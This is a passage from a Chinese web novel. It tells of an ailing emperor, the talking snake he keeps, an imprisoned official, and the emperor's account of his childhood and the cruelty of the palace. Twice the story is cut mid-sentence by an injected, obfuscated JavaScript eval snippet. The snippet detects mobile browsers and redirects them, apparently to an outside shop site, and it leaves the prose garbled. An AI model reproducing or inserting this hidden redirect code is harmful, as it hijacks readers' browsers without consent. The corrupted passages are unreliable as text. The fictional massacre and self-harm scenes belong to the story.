“朕知道,你要的不是官位,是想做个真能为民说话、去除污浊的官。”周清玄缓缓抬眼,目光如剑锋,直刺过来,“朕信你,也由着你。你参遍权贵,树敌无数,朕可曾拦过你一次?” 他推动轮椅向前,直至几乎要碰上程文寺屈着的膝盖。 “可你呢?”周清玄的声音陡然沉了下去,“既要当孤直之臣,为何还生妄念,碰不该碰的东西?” 程文寺的睫毛颤了颤。 昏昧光影中,他眼前蓦地闪过一双湿润的眼睛,带着小心翼翼的依赖,轻声说“不想离开”。 可紧接着,更多画面汹涌而来,灾荒中绝望的眼,冤案里撕心裂肺的哭嚎,被权贵碾碎如草芥的平民…… 清官的志,君子的道,百姓的命,和掌心那一小团冰凉却柔软的生命。 什么才是对的? 什么才是该守护的? 什么才是值得的? 他袖中的手无声握紧,以为这样才能按住胸腔里那场无声的海啸。 “你还想做你的清官吗?”周清玄的声音再次响起,一字一句,步步紧逼,“为了一条微不足道的东西,连你的性命命,连同你半生所求都不要了?” 他眼神微侧。 身后侍卫无声上前,将一柄短匕轻轻放在程文寺身侧的石板上。 “选吧。”周清玄道,“忘了它。或者,成为这诏狱里又一缕无人记得的孤魂。” 程文寺的目光掠过匕首寒光,缓缓收回。 许久,他再次伏身,额头触上冰冷的地面: “陛下,臣可否先问一事?” 周清玄眉梢几不可察地一动。 “说。” “她对陛下而言,”程文寺抬起头,目光直直望向阴影中的帝王,“究竟是什么?” 周清玄盯着他伏低又挺直的背脊,许久,才缓缓开口: “翰林,你越界了。” 程文寺直起身,道:“臣与她,不过数日之缘。若她是陛下珍重之人,臣唯愿她今后岁月安稳,再无惊扰。” 停顿了片刻后,他道:“至于臣此生所愿从未更改,仍只是做好大周的官,陛下的臣。” 周清玄沉默地看着他。帝王眼中一闪而过的复杂情绪,似是审视,似是权衡。 不知过了多久,轮椅缓缓转动。 “程文寺,记住你今日的话。” 牢门重新锁上,轮椅声渐行渐远。 黑暗重新聚拢。 程文寺仍旧端坐着,一动不动。 良久,他才伸手拿起那柄匕首,用刀尖划过自己的掌心。 皮肉绽开,鲜血涌出,温热粘稠的液体顺着掌心滴落,滴落在草堆上。尖锐的疼痛蔓遍全身,他却用力收拢手指,挤压伤口,仿佛要用这真切的撕扯的痛,去掩盖去镇压胸膛里那场无声的,几乎要将他撕裂的情绪。 他闭上眼。 仿佛中又响起她清凌凌的笑声,穿过这漫无边际的黑暗,潮湿而温柔地,落在心底最深最痛的地方。 17. 第 17 章 “木木呢?” “奴、奴婢也不知道它去哪了……” 宫女太监们跪伏在地,瑟瑟发抖。 自福总管严厉嘱咐过要看好那条碧玉似的小蛇后,谁也不敢懈怠。尤其是想到之前那两个宫女的惨状,所有人都死死盯着门窗。 可偏偏在陛下回宫时,那条碧绿色的小蛇就凭空消失了。 福安额上已沁出一层细密的冷汗。上一次弄丢小蛇,他险些被如同那两个宫女一样活生生被打死。 天爷啊,若是再来一次,这条命怕是真要交代在这里了。 “你们当真没见到它出去?”福安捏着拂尘,声音发紧。 一名宫女带着哭腔道:“福总管,连窗缝都有人轮流守着,确实……确实没见着影子啊。” 周清玄坐在轮椅上,目光扫过殿内每一处阴影,缓缓开口:“在房里找。” 众人如蒙大赦,慌忙在祥和宫各处翻查起来。 周清玄亦转动轮椅,烛火将他清瘦的身影投在墙上,微微晃动。 一阵窸窣翻找后,仍无所获。 “还没有找到么?”他的声音听不出情绪,却让空气又冷了几分。 “奴婢……奴婢再仔细找找……”宫女的声音已近乎呜咽。 就在这时,龙床锦被间轻微地隆起了一块。 周清玄眸光一动,自己推着轮椅靠近床边。 他伸手,轻轻掀开被角,一条碧莹莹的小蛇正蜷在柔软的褥子上,睡得正熟。 突然暴露在微凉的空气中,小蛇惊醒,昂起脑袋,一见是他,立刻扭身往被窝深处钻。 “都退下。” 宫人们如逢大赦,悄无声息地退出殿外,合上了门。 周清玄没有再掀被子,只是将掀开的被角轻轻覆了回去。 他静了片刻,低低叹了口气,声音是从未有过的柔软温和:“木木,是在生我的气吗?” 被子里一动不动。 他继续轻声说:“我不是故意弄疼你的。你出来,我向你赔罪,好不好?” 帝王此刻垂着眼,语气近乎恳求。他一生从未向谁低过头,旁人跪地求饶,他只觉得可笑。可如今风水轮流转,他竟也成了低声下气求原谅的那一个。 良久,被窝里仍没有动静。周清玄又放软了声音,道:“别气了,我不杀他便是。” 为了能求的她原谅,他连自称都换成了我。 被角这才动了动,一颗碧莹莹的小脑袋慢慢探出来,眼睛望着他,声音细细的:“那程文寺还能做回翰林吗?” 果然一提那人,她才肯露面。 周清玄心中蓦地一涩。他养了她这么久,日夜相伴,同寝同食,几乎从不分离。可她却只与那人相处六日,心里就装下了别人。 “不,”他看见她警惕地往后缩了缩,才接着涩然道,“他不做翰林了。他救过你,又颇有才学,朕升他为大理寺少卿,正四品。” 小蛇停了后退,微微歪着头,似乎在掂量他的话。 大理寺少卿权责远重于翰林编撰,程文寺若在此位,便能放手审理案件,践行心中公义,这该是他所毕生所求的吧。 小寺,你应当会高兴。愿你从此得展抱负,平安顺遂。 她终于从被子里完全游了出来,却仍和他保持着一点距离,小声说:“我还是有点生气。周清玄,你今天吓到我了,也弄疼我了。” “你从前不这样的。” 见她态度软化,周清玄悬着的心稍稍落下。 他双手撑住轮椅扶手,有些吃力地将身子挪到床沿,伸手朝她示意。 小蛇仍犹豫着,没有立刻过来。 “木木,对不起。”周清玄的声音更低了,眼中掠过一丝痛色,“我只是嫉妒你和他走得太近。你当着我面夸他好看,又不肯答我的话,一时失控才伤害了你。” “是我不好,往后不会了。” 小蛇望着他。此刻他收敛了所有帝王威仪,眉眼低垂,烛光在侧脸上投下淡淡的阴影,竟显得有些落寞。 她看见他眼里的倒影:“周清玄,我不喜欢你用王遗控制我,那样很难受,我很不喜欢。” “好,”他承诺道,“往后不用了。我只是怕你不对我说真话。” 周清玄用指腹轻轻地抚过她的鳞片,动作温柔眷恋。 小蛇却灵巧地扭身躲过他的手,语气里带着微愠:“周清玄,你把我当什么了?是和帝王冢上那些守山灵一样的傀儡吗?是不是哪天我惹你不高兴了,你也要像对它们那样,用王遗的神力叫我生不如死?” 周清玄伸出的手顿在半空,有些无奈道:“不会的,我怎舍得让你受苦。” “可你用王遗控制我的时候,我就很痛苦。”小蛇昂起头,认真道,“程文寺从来不会逼我做这些。所以他不仅待我好,而且很尊重我,所以我才舍不得离开他。” 又是程文寺。 周清玄眼底骤然掠过一丝阴翳,五指无意识地收拢,手臂微微发颤。 不是吧,又说错话了? 小蛇竖起的身体微微瑟缩了一下,先前那点气势像被戳破的水泡般消散。她可没忘上次被这人狠狠摔在案上的滋味,鳞片到现在还隐隐作痛。 “周清玄……”她声音小了下去,带着试探,“你、你又想摔我吗?” 周清玄倏然回神。他闭上眼深吸一口气,再睁开时,眼底那片浓黑似乎淡了些许。 “不会。” 他深吸一口气,声音恢复平静:“我答应你,以后不会再伤你,王遗也不会再用。但你也要答应我,往后同我说真话,可好?这宫里人人戴着虚伪的面具,皆言不由衷,我只想听你说几句真的。” 啧,说真话你又不爱听,最后不还是得挑好听的说?男人真是难懂的生物。 小腹诽着,面上却乖乖仰起头:“那你想听什么真话?” 周清玄忽然倾身靠近。他的脸在烛光中陡然放大,瘦削的轮廓被光影刻画得愈发深刻。高挺的鼻梁在脸颊投下狭长的阴影,眼窝微微凹陷,显得那双墨色的眸子格外幽深。因为久病,他的皮肤是一种缺乏血色的苍白,下颌线锋利得近乎嶙峋。 他就这样近近地盯着她,呼吸几乎拂过她的鼻尖:“你觉得我好看吗?或者说……”他喉结滚动了一下,声音低了下去,“我是否,生得丑陋?” !!!危险警告!!! 小蛇浑身的鳞片都差点炸开。 她太清楚这个问题答不好会有什么下场了。这问题简直是个陷阱,不回答或者答得不好,怕是又要重演今日的场面。 她脑中将言辞翻来覆去掂量了好几遍,才谨慎开口:“陛下龙章凤姿,气度华贵,自是好看的。” 周清玄却更近一分。他的睫毛很长,在眼下投出颤动的影,几乎要触到她的眼睛:“说真话。” 他每个字都咬得很慢,“我不想听这些套话。” 谢冬瑗小蛇简直要崩溃了。 她素来对美丑极为挑剔,私下没少刻薄地吐槽过周清玄这副瘦得像晾衣杆,脸颊凹陷得像是被人左右开弓打进去两拳,脸色苍白得像是要随时晕过去模样。 可这些真话若说出来,以这人傲慢又敏感的性子,怕是当场就要发作。 她见过太多上位者,嘴上说要听真话,其实只想听他们愿意相信的“真话”。 可若不说……看他此刻的眼神,怕是不肯轻易放过她。那王遗钻入身体的那种不舒服的感觉,她再也不想尝第二次。 罢了。 他要真话,那就给一点。 但得裹上一层厚厚的糖衣,还得先讨个护身符。 “周清玄,”她小心地往后缩了半寸,“你得先保证,我说了真话,你不摔我,也不用王遗罚我。” “我保证。”他答得很快,目光仍锁着她。 小蛇深吸一口气,细声细气道:“其实吧,你五官是周正的,眉骨鼻梁都生得好,就是太瘦了些。瘦得颧骨都突出来了,两颊也没什么肉,看着就……不太康健。”她越说声音越小,因为周清玄的脸以肉眼可见的速度沉了下去,唇抿成一条僵直的线。 果然! 听不得真话还要问! 什么臭毛病! 她急忙补上一句:“但、但你要是能长点肉,哪怕多三十斤,肯定比现在好看十倍!绝对是个俊朗的美男子!” 周清玄忽然笑了。不是平日那种冷淡的弧度,而是从鼻腔里哼出一声气音,像自嘲,又像无奈。 他伸出手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948316|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,用指尖轻轻捏了捏小蛇的脑袋:“木木,你又开始耍滑头了。” 随后他垂下眼帘,低声自语,仿佛在说给自己听,“原来如此。那往后,我试着多用些膳罢。” 他向来厌食,视进食为维持生命的不得已之举。加之常年汤药不断,脾胃虚弱,便一日比一日清减。 从前他从未在意过形貌,帝王何须以色事人?纵有太医婉言劝谏,他也只当耳旁风。 可如今被这条小蛇直言瘦得脱相,心口竟像被细针扎了一下,泛起说不清的滞闷。 他的手指沿着脸颊滑下,触到的只有分明的颧骨与凹陷的面颊。手腕处的骨节嶙峋凸起,在薄薄的皮肤下清晰可见。 他的目光缓缓下移,落到被锦被掩盖的双腿上。 周清玄的眼神在昏暗中暗了暗,唇角勾起一丝自嘲的弧度:“残废之躯……还奢望能如常人般健朗么?” 今夜与往日不同。那些横亘在他们之间看不见的裂缝,似乎正随着坦诚的言语悄然弥合。周清玄在谢冬瑗面前,第一次褪去了帝王那层坚硬的壳,露出属于人的脆弱。 他会嫉妒,也会因这双腿而暗自神伤。 殿内烛火摇曳,将这一人一蛇的身影柔和地投在帐幔上,方才的紧张与不安,渐渐消散在温暖的夜色里。 小蛇轻轻游动,爬上他的膝头,仰起头:“周清玄,我们在宫里相伴的这些日子,几乎形影不离。我瞧见你的腿并非完全不能动。你明明可以借助外力站起来的,为何却很少那样做?” 她顿了顿,说:“你能告诉我原因吗?” 这并非她第一次问及此事。从前每一次,周清玄要么沉默以对,要么便淡淡地将话题引开。 谢冬瑗知道,这腿伤是他心底最深的痛,亦是不可触碰的逆鳞。 许是今夜周清玄的柔和给了她错觉,让她竟忘了这个话题何等不合时宜。 话一出口,谢冬瑗便后悔了。 她几乎想咬掉自己的舌头,真是昏了头,什么话都敢往外冒。 周清玄的沉默如潮水般蔓延开来,殿内只听得见他压抑着的呼吸声。 那无形的沉默压得她心头发慌,她急忙补救:“你若不想说便罢了,我没别的意思,只是想帮帮你。” 他依旧不语。 恰在此时,未曾系牢的帐帘忽然滑落,厚重的锦缎将床榻彻底笼罩,宛如一个柔软的囚笼。 床内光线骤暗,周清玄的脸隐在阴影里,只余抿成一条直线的唇,在昏暗中显得格外清晰。 谢冬瑗如坐针毡,不安地扭了扭身子。 就在她几乎要落荒而逃时,他忽然伸手,轻轻握住了她。 “木木,”他的声音从昏暗中传来,竟带着一丝若有若无的诱引,“你真想知道么?” 他向她凑近了些,帐帘缝隙漏进的一缕微光,恰好照亮他一双漆亮的眸子。那里面没有怒意,也没有不耐,反倒像是透着隐隐透着某种期待。 可谢冬瑗心中警铃大作,这分明是危险的征兆。 “我从未将此事告诉任何人,连阿城也不曾。从前知道这事的人都已经死了。若你真想听,我会毫无保留地说与你。” 他此刻一反常态,竟像在诱惑她去探听那个不为人知的秘密。 最信任的弟弟都不曾告知,却要告诉她这条小蛇?知晓秘密者皆已赴黄泉,这些信息如冰锥般刺入谢冬瑗的灵识。 这个秘密本身,便是致命的危险。若她听了,要么步那些死者的后尘,要么…… 要么如何?她想不出,却本能地感到绝不会是什么好结局。 小蛇慌忙摇头:“周清玄,既是你的秘密,我还是不听了。” 阴影中,周清玄的嘴角却缓缓扬起一个近乎艳丽的弧度:“木木,你这是在拒绝我?” “不是!绝不是!”她几乎要语无伦次,“我只是觉得既是不愿提及的事,便让它过去罢。天色已晚,我们不如安歇了吧。” 周清玄的笑意淡了下去,眸光却更深:“是你先问的。你明明想知道。” 谢冬瑗:“……” 所以,这秘密她非听不可了,是吗? “好吧……你说,我听。” 殿外宫漏声遥遥传来,夜还很长。 18. 第 18 章 若人生有后悔药,谢冬瑗一定不会问周清玄那个问题。 可世间从无若当初,她终究还是问了,问得轻巧,却不知那轻飘飘的一句话,将会把她拖入怎样的深渊。 那一次,周清玄怀着私心,将谢冬瑗带入他堕入深渊的世界。 - 谢冬瑗蜷曲在周清玄的肩膀上,穿过一道道宫门。越往深处走,灯火越稀,宫人也越少。 最后,他们停在一座七层楼阁前。 这座阁楼与皇宫中其他建筑截然不同,它不点灯,漆黑一片,像一只蛰伏在夜色中的巨兽。 月光勉强勾勒出它的轮廓,飞檐翘角在夜幕中划出冷硬的线条。奇怪的是,阁楼周围却由重兵把守,金吾卫身披铠甲,手持长戟,见到周清玄时,为首的将领明显一怔。 “陛下,”那将领单膝跪地,“不知此时来神宫,是皇宫内出现了什么紧急情况吗?” 周清玄的目光越过他,望向那座漆黑的楼阁:“无事,朕只想进来看看。” 金吾卫们对视一眼,默默让开道路。 福安推着周清玄向前,到了阁楼门前,周清玄却抬手制止:“福安,你在外边等我。” “陛下……”福安欲言又止,最终还是躬身退下,“是。” 谢冬瑗注意到,福安退下时,目光在神宫紧闭的大门上停留了片刻,那双眼睛里闪过一丝难以名状的情绪。 是好奇,还是畏惧?她说不清。 宫里对这座宫殿有诸多传闻。有人说里面藏着周氏皇族世代积累的珍宝,价值连城。有人说曾在深夜听见里面传来痛苦的哀嚎,如怨如诉。还有人说,住在里面的那位神官,其实是个长生不老的妖怪,靠吸食皇族气运延续生命。 但有一点可以确定的是,神宫里面住的是那位神秘的神官。 神官这个职位,自周国第二任皇帝登基时便已存在。他不涉朝政,不问俗务,终日戴着铜金色面具,无人见过其真容。 他只服务于周国皇帝,极少出现在人前,偶尔出现在宴会上,也只是静坐一隅,仿佛与周遭的热闹格格不入。 有宫人曾远远望见他晚上时立在水榭旁,月光洒在他金色的面具上,如同恶魔罗刹,吓得那宫人连夜发了高烧。 谢冬瑗正出神,周清玄已推开了神宫的门。 沉重的木门缓缓打开,一股陈旧的气息扑面而来,混合着灰尘与某种难以言喻的、类似檀香又似药草的味道。 随着他们踏入,不可思议的一幕发生了。殿内的灯,一盏接一盏地自动亮了起来。 不是被人点燃,而是仿佛有生命般,自近及远,次第绽放光明。暖黄色的火光从墙壁上的琉璃灯盏中溢出,逐渐驱散黑暗,将整座一楼大殿照得通明。 谢冬瑗被吓得浑身一激灵,差点从周清玄的肩膀上掉了下来。 “木木,不要担心。”周清玄的手覆上她的蛇身,“这是神宫感应到我们来了。” 他的语气平淡,仿佛在说一件再寻常不过的事。 谢冬瑗却心头震动,这宫殿竟如此神奇,无人点灯,却能自亮,简直就是古代版自动感应灯。 灯光完全亮起后,大殿的全貌展现在眼前。 这里没有寻常宫殿的奢华装饰,反而空旷得近乎肃杀。四壁悬挂着一幅幅画像,每幅画上都绘着一位身穿龙袍的男子。 这里放着的是周国历代皇帝的御容。 周清玄转动轮椅,缓缓行至最前端那幅画像下。 “这是周国的开国皇帝,周清?。”他仰头望着画像,声音在空旷的大殿里产生轻微的回响。 谢冬瑗顺着他的目光看去,不由得怔住了。 画中的男人穿着一身墨黑色龙袍,上面用金线绣着腾云驾雾的蟠龙。与其他正襟危坐、面色威严的帝王像不同,这位开国皇帝随意地斜靠在龙椅上,头微微后仰,唇角上扬,正肆意张狂地大笑着。 他的眉眼与周清玄有七八分相似,尤其是那双微微上挑的凤眼,可气质却天差地别。 画中人浑身散发着蓬勃的生机与野性,仿佛下一秒就会从画中跃出,策马驰骋天下。 而周清玄,身上总是带着一种死人感,即便在笑时,眼底也总凝着一层化不开的寒冰。 谢冬瑗看得入了迷。她想,若周清玄是这般模样,她在帝王冢第一次见到他时,或许不用演戏,便会喜欢上他的皮囊。 “他很特别,是不是?”周清玄的声音忽然响起,带着一丝不易察觉的喟叹,“史书记载,太祖皇帝生性狂傲不羁,二十岁前还是个游侠,走遍九州,结交豪杰。后来天下大乱,他振臂一呼,用了十年时间平定四方,建立了大周。登基那日,他在太极殿前当着文武百官的面说:‘这龙椅坐着硌人,不如我的马鞍舒服。’” 谢冬瑗忍不住笑了,随即又意识到不妥,忙掩住口。 周清玄却没有责怪,反而继续道:“可这样的一个人,在位十年后,却变得沉默寡言,终日困守深宫。临终前,他命人建了这座神宫,并立下祖训:周国历代皇帝,必须供奉神官,神官之言,即天意所示。” 他转动轮椅,一幅幅画像看过去。谢冬瑗跟在他身侧,看着画中人的面容逐渐从张扬变得内敛,从狂放变得深沉。龙袍的颜色也从浓烈的玄黑,渐渐转为深紫、暗红,到最后几任,已是庄重却压抑的明黄。 终于,他们在最后一幅画像前停下。 画中的男子穿着明黄龙袍,头戴冕旒,面容清癯,眼神却锐利如鹰。他的双手交叠置于膝上,姿态端正得近乎刻板,与开国皇帝那幅画的随性形成了鲜明对比。 周清玄注视着这幅画像,久久不语。 良久,他终于开口,声音轻得仿佛自言自语: “我知道,我的腿伤是因为心结而起。” 谢冬瑗心头一震,周清玄要开始说他的心结了。 “若说这心结因何而起,”周清玄的目光仍停留在画像上,却又好像穿透了画布,看到了更遥远的过去,“那可要追究到我小时候。” 他顿了顿,似乎在下定某种决心。 “我的母亲并非什么大家族出身,她只是一个小官的女儿,因容貌出众被选入宫中。我六岁那年,她在一个雨夜自缢而亡。”周清玄平静的说。 “宫人发现时,她的身体已经凉透。他们说她是因为久病厌世,可我知道不是。” “那段时间,她常常抱着我,一遍遍地说:‘玄儿,你要记住,在这宫里,不要相信任何人,包括你父亲。’我当时不懂,现在想来,她大概早就知道自己活不长了。” “父皇的孩子很多,我只是其中一个。”周清玄继续道,嘴角勾起一抹讽刺的弧度,“他从未将过多关注放在我身上。所以我从小就知道,我并没有成为周国皇帝的资格。” “这个皇宫有很多阴谋算计。妃子上吊自杀是常事,小孩子意外夭折也不稀奇。我自知无力保护母亲,父亲也不记得我这个儿子,于是十二岁那年,我自行请命,去做了个闲云野鹤的道士。” 谢冬瑗想象着那个场景,一个十二岁的少年,跪在威严的帝王面前,平静地说自己想出家修道。 他的父亲,那位画中眼神锐利的皇帝,会是什么反应? 是如释重负,还是漠不关心? “也是因为我的存在感太低,我的那些皇兄只顾着内斗,无人阻拦我离开。”周清玄的语气里听不出情绪,“我去了五台山下的清虚观,一待就是五年。” 说到这儿,他的脸上浮现出一丝极淡的、真实的笑意。 “也就是在那里,我遇见了在五台山习武的阿城。” 周清城,那个讨人厌的傻大个。谢冬瑗悄悄翻了个白眼。 “他很小就显露出惊人的武学天赋,被父皇当做将才培养,十岁就被送上五台山。”周清玄的眼神变得柔和,“他知道我也在五台山,高兴坏了,时常偷偷溜下山来找我。” 他似乎陷入了回忆,语速放缓: “清虚观很清苦,每日天不亮就要起床诵经、洒扫、挑水。可那五年,却是我一生中最快乐的时光。阿城总是跑得气喘吁吁地下山,满头大汗,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952412|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进观门就直奔水缸,把头埋进去咕咚咕咚地喝水,惹得观里的师父干瞪眼。” 周清玄轻轻笑了声:“喝完水,他就拉着我往后山跑。春天我们挑水灌溉地里的油菜花,夏天在溪涧里摸鱼,秋天捡红叶写字,冬天五台山的冬天很冷,大雪封山时,阿城就带着偷偷藏起来的红薯,我们躲在柴房里烤着吃,烫得直呵气。” 他的描述如此生动,谢冬瑗几乎能看见那两个少年,一个沉静瘦削,一个活泼健壮,在青山绿水间奔跑嬉笑,远离宫廷的尔虞我诈。 “有一次,阿城在山里逮到一只受伤的小鹿,我们偷偷养在观后的竹林里。小鹿很怕生,只肯亲近阿城,每次他来,那小鹿就会蹦跳着迎上去。”周清玄的眼神暗了暗,“后来小鹿的伤好了,阿城说该放它回山林。放走那天,小鹿一步三回头,阿城蹲在地上,哭得像个孩子。” 他停顿了很久,大殿里再次陷入沉寂。 “那五年,我们建立了比其他兄弟更深厚的感情。”周清玄眼神有些暗淡,“我曾天真地以为,那样的日子会一直持续下去。” 谢冬瑗忍不住问:“后来发生了什么?” 周清玄没有立刻回答。他转动轮椅,缓缓驶向大殿深处。谢冬瑗跟上,发现那里有一道长长的木楼梯,通往上层。 若是轮椅,将无法通过,只能靠走上去。 周清玄仰头望着楼梯上方那片深邃的黑暗,仿佛在凝视着通往过去的甬道。 “后来,父皇的儿子们死得差不多了。”他的声音冷了下来,“他自知无法再生育子嗣,于是开始害怕王朝无人继承。他开始疯狂地寻找流落宫外的皇子。” “我和阿城,就是被他找回来的。” 时隔五年再见到父皇,那情景至今仍清晰刻在周清玄的记忆里。自儿时随父皇去过一次帝王冢后,父子相见便屈指可数。 父皇对他从不挂心,他也未曾对这个父亲怀抱温情。 周清玄闭上眼,深吸一口气: “我永远记得回宫那天的情景。我和阿城被一队禁军护送回京。进宫后,我们被直接带到太极殿。五年不见,父皇老了很多,两鬓斑白,眼窝深陷,可那双眼睛依旧锐利。” “他先看向阿城,上下打量,然后满意地点点头,说:‘长高了,也壮实了,很好,以后定能守护好大周的江山。’” “然后他看向我。”周清玄睁开眼睛,那双凤眼里没有任何情绪,“他只说了一句:‘太瘦了,道观的伙食那么差吗?’” 谢冬瑗心中一阵酸楚。五年的离别,父亲对勇武的弟弟赞赏有加,对体弱的兄长却只有一句无关痛痒的评价。 那种被忽视,被轻慢的滋味,该有多伤人? “回到皇宫后,我才发现,父皇原本三十几个儿子,死的死,废的废,只剩八个。皇宫里死气沉沉,每个人眼里都闪烁着算计的光芒。比我离开前,还要糟糕百倍。” 周清玄讥讽道:“他们都想当皇帝,可皇位只有一个。于是他们自相残杀,明枪暗箭,无所不用其极。长此以往,兄弟之间没有亲情,只剩下你死我活的争斗。” 他忽然转头,死死盯住自己的腿,眼神凌厉如刃: “而父皇,是故意的。” 谢冬瑗心头一跳。 “他冷眼旁观儿子们互相残杀,甚至暗中推波助澜。”周清玄一字一句道,“他要看着我们自相残杀,从中选出最冷酷、最无情、最适合坐在那张龙椅上的人。” 他的声音在大殿中回荡,撞在墙壁上,反弹回来,层层叠叠,如同无数个声音在重复这残酷的真相。 她忽然明白,为什么周清玄总是那么阴郁,为什么他的眼中永远结着冰。 在这样一个父亲,这样一群兄弟,这样一个皇宫里长大,谁能不变成怪物? “阿城回来后,被封为护国大将军,常年驻守边关。”周清玄的语气重新变得平淡,却更令人心悸,“而我,因为体弱多病,又曾出家修道,被所有人视为最无威胁的一个。也正是因此,他们轻视我,将所有恶意转向了我。” 19. 第 19 章 那些往事如地狱深渊,这些年日夜折磨着他,让他夜夜噩梦缠身,整宿难以入眠,压得他几乎喘不过气。 他不是圣人,也有私心。而此刻,他的私心,就是拉着木木一起在深渊里沉沦。 既然她说想听他为何自困于轮椅,那他便说给她听。 “木木,听完我的故事,你就也得和我一起待在皇宫,再也离不开这里了。”周清玄低缓的声音在昏暗的神宫顶层幽幽响起,似叹似诱。 谢冬瑗心头一凛。皇家的辛秘往事,岂是她一条小蛇能听的? 俗话说的好,知道得越多,死得越快。 可她有选择吗?没有。 即便此刻她说不想听,他也会一字一句,强行钉进她心里。 他向来如此,只顾自己要给,从不问她愿不愿。 何况她总归是要回家的,谁要永远陪他困在这四方红墙之内? 谢冬瑗沉默着没有回答。 周清玄将目光投向窗外无边的黑暗,缓缓开口:“他们用尽拙劣手段,宴席上当众折辱,克扣月例,责打我宫中人,甚至在我饭食里放入蜈蚣、毛虫……”他顿了顿,嘴角勾起一丝凉薄的笑,“可笑的是,这般境地,竟比我那几十个早夭的皇兄好些。他们一个个都死了,我还活着。许是他们觉得我最无威胁,留到最后一个,慢慢折磨才最痛快。” 他语调平静,甚至带着些许自嘲,仿佛在说旁人的事。那些阴私伎俩,于他而言其实早已不算什么,他甚至用更狠辣的手段一一还了回去。 但此刻,他只想在木木面前露出一副脆弱受伤的模样,让她多疼惜他,哪怕只有一点点也好。 谢冬瑗听着,不由想起不久前鹤城那桩事。 那年鹤城水患,朝廷拨下五十万两赈灾银。照例层层剥皮,到地方能剩三十万两已属不易。 可那户部尚书家的儿子,在外生意亏空十万,赌坊又输十万,尚书便心一横,从中狠截二十万两。 而后经手官员再层层盘剥,最后到鹤城的,竟只剩五万两。 五万两,连买米熬粥都不够,何谈修堤筑城? 水患未平,尸骸堆积,疫病横行,一座城死了一大半。 消息传回时,周清玄正于御书房批折。他面上无波,只淡淡道:“既如此,便让尚书亲自去查。” 户部尚书还以为得了圣心,忙不迭地找了替罪羊,备好假证,准备回京复命。行至半途,却被周清城率领禁军拦下。 夜色森森,火把照亮周清城没什么表情的脸。“七哥说了,”他声音清晰,穿透夜风,“尚书贪了鹤城的银子,便拿尚书府的家财来填。” 尚书当场瘫软。 可令他没有想到的是,更骇人的还在后头。 周清城一挥手,禁军从后方押上黑压压一片人,男女老幼,哭声震天,全是尚书本家、旁支、姻亲,乃至隔了十万八千里的远亲。 “七哥还说了,”周清城踩住试图爬过来哀求的尚书,“贪银要还,欺君之罪要偿,鹤城上万条人命,也要你来还。” 接下来的几日,成了鹤城百姓永生难忘的梦魇。 尚书被缚于高台,眼睁睁看着亲族一个个被推下那条吞噬过无数灾民的河中。 最初,幸存的百姓还觉得解恨。可随着死去的人越来越多,里面不仅有健壮的青年,还有垂暮的老人,啼哭的幼儿,怀孕的妇人…… 人群中渐渐响起不忍的啜泣,有人跪下来求情,周清城却丝毫不为所动。 “王爷,孩子是无辜啊!” “求陛下开恩。” 周清城立于原地,眉眼冷冽,对一切哀求置若罔闻。 这场惩戒,逐渐变成了单方面的屠戮。 河水染上了血色,哀声彻天。 尚书最终在崩溃中咬舌自尽。 自此,朝野上下,无人不惧这位年轻帝王的狠辣手段。 谢冬瑗一直随在周清玄身边,整个过程她都看到了, 谢冬瑗也是从那件事里看清,那个平日对她温和含笑,甚至允她盘在腕上取暖的君王,骨子里是个睚眦必报的暴君。 所以,她才不信他会白白受人欺凌。后来那六个皇子相继惨死,难道真是意外吗? 她悄悄抬眼,看向烛光下他看似脆弱苍白的侧脸。那低垂的眼睫在眼下投出一片阴影,恰到好处地掩去了眸中所有可能泄露的情绪。 这人啊,演戏倒是演得全套。 要是别人或许就信了他,可她是谁!她谢冬瑗可是影后,在她面前演戏简直是班能弄斧。 虽然谢冬瑗已识破了周清玄在装可怜,尽管心里嘀咕,还是出于人道关怀凑近了些,开口道:“周清玄,现在他们都死了,连尸骨都献给了守山灵。你再也不用怕他们来害你了。况且,况且还有我呢!谁要是敢伤你,我就亮出毒牙,咬死他们!” 她说着,还昂起头起头,努力做出凶狠的表情,两颗小小的毒牙若隐若现。 周清玄轻轻笑了一声,那笑意并未到达眼底。他将小蛇从肩头托下来,拢在掌心,仿佛要从她身上汲取一丝温度,才能继续接下来的话。 他的声音低沉下去:“在周国,每位皇子成年后,都必须选定正妃成婚。若一年后仍无子嗣,便要纳侧妃或妾室。若再无所出,太医院便会介入。” 他停顿片刻,眉头紧紧蹙起,像是咽下了什么极恶心的东西,“他们会用药,或用一些私密之术。” “私密之术?”小蛇歪了歪头,绿色的眼睛里满是好奇。 周清玄的脸色更冷了几分,带着显而易见的厌恶:“便是在男子下身要穴,施以针灸,美其名曰疏通经脉。” 谢冬瑗惊呆了。 这世界竟有如此荒唐的医术? 光是想象,就觉一阵幻痛。再看周清玄那副难以启齿又隐含屈辱的神情,她几乎可以肯定,他必然亲身经历过。 好吧,周清玄,这下我真的可怜你了。谢冬瑗在心里说。 “那如果还是没孩子呢?”小蛇追问。 “一直做下去,直到有子,或直到被认定彻底无用。”周清玄语气讥讽,“周国的皇子从来不属于自己,只属于周国。他们必须不断诞下流淌着周氏血脉的子嗣,将这罪恶的血脉延续下去。如此,周国才能国运昌盛,千秋万代。” 谢冬瑗想起帝王冢里那诡异的感觉,此刻越发确信,这周氏皇族从根子上就透着邪性。 